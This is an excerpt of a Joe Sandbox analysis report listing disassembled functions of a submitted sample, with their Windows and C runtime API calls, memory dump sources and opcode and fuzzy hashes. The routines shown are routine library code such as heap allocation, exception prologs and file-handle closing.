Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: da8dd3713c185dc73ef861a0086ae73744bb6b1657ee0415cc750eb8a0798155
Instruction ID: 0d0d5dd5ed1ac18ea370282c45b02de57ebc0cb7a6bc9f8ab1ed06f42f020a4f
Opcode Fuzzy Hash: da8dd3713c185dc73ef861a0086ae73744bb6b1657ee0415cc750eb8a0798155
Instruction Fuzzy Hash: 54E0ED72901218EBCB10DF98D541A99B7ECEB09321F10C09BE89993301E671AE049BB5

Function 00D8215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00D8329A: try_get_function.LIBVCRUNTIME ref: 00D832AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D8217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00D82185

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 269618c7eaf2388814a30454c9b6246d9db3a3fe6fd6c3e139867d9eb3d540ff
Instruction ID: ec2dee13527e13990df7c0ff5ab836e5062c19e99e18b53343e5371a1fc50c15
Opcode Fuzzy Hash: 269618c7eaf2388814a30454c9b6246d9db3a3fe6fd6c3e139867d9eb3d540ff
Instruction Fuzzy Hash: B9D022782043022C2C0837F02C8AAB82384DA72FB03F00B8AFB20CA0D2EF2080087331

Function 00D7DC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 00D7DC73
DloadProtectSection.DELAYIMP ref: 00D7DC8F

Part of subcall function 00D7DE67: DloadObtainSection.DELAYIMP ref: 00D7DE77

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: 5c371756dd61ea19360e4262f28e723550e9ca28b0b042c327b15b8bfc1012d6
Instruction ID: 3e7f1c1096a48527a6ee09fa5f7cf838311e7a89817a3a20b11c53a10bf22d49
Opcode Fuzzy Hash: 5c371756dd61ea19360e4262f28e723550e9ca28b0b042c327b15b8bfc1012d6
Instruction Fuzzy Hash: 25D0C9701003428AC312AF149A86B1C3676FF08744FA88655F29DC72A9FBA944C0C635

Function 00D612E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00D612FB
ShowWindow.USER32(00000000), ref: 00D61302

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 0beb751d95162973293639325686029157afed27cada079c1b4f39cd92c37783
Instruction ID: 21d06b82c98fd243a6d4ee7a605a2e8d45509b3b8c4b19974c80fdec23afa32a
Opcode Fuzzy Hash: 0beb751d95162973293639325686029157afed27cada079c1b4f39cd92c37783
Instruction Fuzzy Hash: 51C01272058302BECB010BB0DC09D3FBBA8EBA4312F09C908B2A5C0160C638C010DB21

Function 00D619A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D619AB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4c202bcbade5e87aeb48ab7860daa426269c7bf7a3a9ae2d3d9475e3743a2f12
Instruction ID: fe5c9e0ca5489f0039b603f1cfe99da8bdce8075588eef2059864119069cbb63
Opcode Fuzzy Hash: 4c202bcbade5e87aeb48ab7860daa426269c7bf7a3a9ae2d3d9475e3743a2f12
Instruction Fuzzy Hash: 4AC19E38A042549FEF15CF68C895BAD7BA5EF0A304F1C40BAEC46DB286CB319944CB71

Function 00D63B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D63B42

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f313c7d7503d618a73ad7cfce952f63b904973046eccf3f91292536ce1184cb3
Instruction ID: 2ed1e4407d0606d5a186c1b1f09ec9734c29da4312e7b90d9f498d4e51655817
Opcode Fuzzy Hash: f313c7d7503d618a73ad7cfce952f63b904973046eccf3f91292536ce1184cb3
Instruction Fuzzy Hash: 76719B71104B44AFDB25DB74CC51AEBB7E8EF14301F48496EE5AB47242DA32AA48CF31

Function 00D6837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D68384

Part of subcall function 00D61380: __EH_prolog.LIBCMT ref: 00D61385
Part of subcall function 00D61380: new.LIBCMT ref: 00D613FE

Part of subcall function 00D619A6: __EH_prolog.LIBCMT ref: 00D619AB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 398bcf02b1fbc9e09eecff41bf90a88c0191843217ad091a1cd375e9d5707ff2
Instruction ID: b486a27623308d5a3f2c9d95ae3f4606e1075415c57a56ed6c5bf78038689969
Opcode Fuzzy Hash: 398bcf02b1fbc9e09eecff41bf90a88c0191843217ad091a1cd375e9d5707ff2
Instruction Fuzzy Hash: CA4192318406589BDB20DB60CC55BEA73B9EF54300F0841EAE58AA7093DF756AC8EF70

Function 00D61E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D61E05

Part of subcall function 00D63B3D: __EH_prolog.LIBCMT ref: 00D63B42

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c641fc4cdfdcaae35a014210faac14998e41ae6ef6f1076cf37a17446a103f6d
Instruction ID: 23f23f6f42cf2ad187efe297977900fdcc1c4032202b419aee3f9a9f113fe8db
Opcode Fuzzy Hash: c641fc4cdfdcaae35a014210faac14998e41ae6ef6f1076cf37a17446a103f6d
Instruction Fuzzy Hash: D52148759041089FCB11EF99D9419EEFBF5FF58300B1441AEE849A3252DB325E14CB70

Function 00D7A7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D7A7C8

Part of subcall function 00D61380: __EH_prolog.LIBCMT ref: 00D61385
Part of subcall function 00D61380: new.LIBCMT ref: 00D613FE

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f9178aa2ac5476f91a88ad60782aa97c44da243ef9c68b4ec862d21bb651ef81
Instruction ID: 08e32d68984b7646a2baae82b111a1a950a9aecc8e12b59f97cf6463b5543aa0
Opcode Fuzzy Hash: f9178aa2ac5476f91a88ad60782aa97c44da243ef9c68b4ec862d21bb651ef81
Instruction Fuzzy Hash: E9216B75C04259ABCF14DF98C9429EEB7B4EF59304F0444EEE809A7202EB356E06DB71

Function 00D692E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D692EB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4374aee3adfd7ee97b948a539c0fd25cf132c4896cb4fd0c12f1c1c9a0a52735
Instruction ID: aed58e4984e558f14855a02c308467d490c89fca8c12015dc3cb50c756c0a34e
Opcode Fuzzy Hash: 4374aee3adfd7ee97b948a539c0fd25cf132c4896cb4fd0c12f1c1c9a0a52735
Instruction Fuzzy Hash: F8116173E505289BCF22AFA8CC519EEF73AEF48750F054115F805B7361DA358D1186B0

Function 00D8BB8A Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00D885A9: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D88FD3,00000001,00000364,?,00D83713,00000050,?,00DA0EE8,00000200), ref: 00D885EA

_free.LIBCMT ref: 00D8BBF6

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: aa7cfc08f8c271ce16935b528c62ef837d81ae20f42aba82ac1fb9d51323eae8
Instruction ID: 69a550a12af0d5a1ebd9f1f4370c9cdc1894a85685c7f8dfa61af1334bef041e
Opcode Fuzzy Hash: aa7cfc08f8c271ce16935b528c62ef837d81ae20f42aba82ac1fb9d51323eae8
Instruction Fuzzy Hash: 9C01F9732003496BE3319F69D88595AFBE9FB85370F29056EE594832C0EB30B805C774

Function 00D6AA88 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00D6AA9A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction ID: e7aa2be948ba05e0b806bb296b2148a53f8da5778b3fbdf0dea396bb006a55f0
Opcode Fuzzy Hash: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction Fuzzy Hash: 9CF08C305007059FDB30DEA8CA41616B7E8EB15320F248A1BE4DAE3680E770E880CB72

Function 00D885A9 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D88FD3,00000001,00000364,?,00D83713,00000050,?,00DA0EE8,00000200), ref: 00D885EA

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 10ce3ecc7b88b9b439d0651f3f402bc75164173568bab6ab99f04aeb6eadf782
Instruction ID: 928918b0b205dcb04756f054980b6a5a9d2b4a5477a9d64e6a6fde9ccaa46abb
Opcode Fuzzy Hash: 10ce3ecc7b88b9b439d0651f3f402bc75164173568bab6ab99f04aeb6eadf782
Instruction Fuzzy Hash: 53F0E9316442226BDB317F26DC05B6B7788DF417B0B988151E818E6581CE20ED016BF4

Function 00D65BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D65BDC

Part of subcall function 00D6B07D: __EH_prolog.LIBCMT ref: 00D6B082

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 325719526aebfd486de5f7f903f9b4984cd94df12b1c812a0ec6bb59d334f5f1
Instruction ID: 2c4dbd83aaa074f33822a04342a63e525c60f77c141b670869583b9b0aa485bd
Opcode Fuzzy Hash: 325719526aebfd486de5f7f903f9b4984cd94df12b1c812a0ec6bb59d334f5f1
Instruction Fuzzy Hash: B1016D34A05A94DBC725F7A4D0553DDFBA4DF19700F40859EF86A53283CBB41B08C672

Function 00D88518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D8C13D,00000000,?,00D867E2,?,00000008,?,00D889AD,?,?,?), ref: 00D8854A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 06f8ef48e90bf520e8a53b0c206fe5cb9987c00eb9010ff7920467e5dc39ab51
Instruction ID: c8232b49d0d5c1f3dfc72431c807843d0c3ca43bb9b10fc08418296c2aafac30
Opcode Fuzzy Hash: 06f8ef48e90bf520e8a53b0c206fe5cb9987c00eb9010ff7920467e5dc39ab51
Instruction Fuzzy Hash: FEE0E5615402225AEB3136695C00B6E778CEF413B0F980290EC54E2181CF20DC0067F5

Function 00D696D0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00D6968F,?,?,?,?,00D91FA1,000000FF), ref: 00D696EB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: d4fd659a13ee350ec230100b643c7ac06fa6d95edbc57fcd1cab0298b1949fc8
Instruction ID: 6d5e3ad7efe4f4cf3ccb276a0eeef45a40e407189d28ec4767f0450737f96953
Opcode Fuzzy Hash: d4fd659a13ee350ec230100b643c7ac06fa6d95edbc57fcd1cab0298b1949fc8
Instruction Fuzzy Hash: 6DF05E30556B048FDB308A64D569792B7E89B12735F088B1E90EB535A4D771A84D8B20

Function 00D6A4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D6A4F5

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: e744c8dc34558b5d7321776a42496605922ced728be0eeb715cd77d4108ba718
Instruction ID: e7a58982640a4df3976ac2e3084f4080fb4ede3a11e5fb5fdb9304917c94c3d8
Opcode Fuzzy Hash: e744c8dc34558b5d7321776a42496605922ced728be0eeb715cd77d4108ba718
Instruction Fuzzy Hash: 41F0E931009380ABCA225B7C48047C6BB90AF06331F04CA49F1FD62195C27864D59F33

Function 00D7067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00D706B1

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 8082e9619b4c81a36daf3d6e84036c539a06d81ca7172ed19832e7d2480c7086
Instruction ID: 17a05698a5532b0791bcd5beda4bc5ef4d4ce63d87b54ff0137d45aaa60d068d
Opcode Fuzzy Hash: 8082e9619b4c81a36daf3d6e84036c539a06d81ca7172ed19832e7d2480c7086
Instruction Fuzzy Hash: B8D05B297181506BD6213778A8167FE1E068FC3710F0D816AB41D677C7EB474C8652F2

Function 00D79D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00D79D81

Part of subcall function 00D79B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D79B30

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: 9e65e4e66285976bb9157a66cc91f037b0df3507596b97c63df611b6aa89c823
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
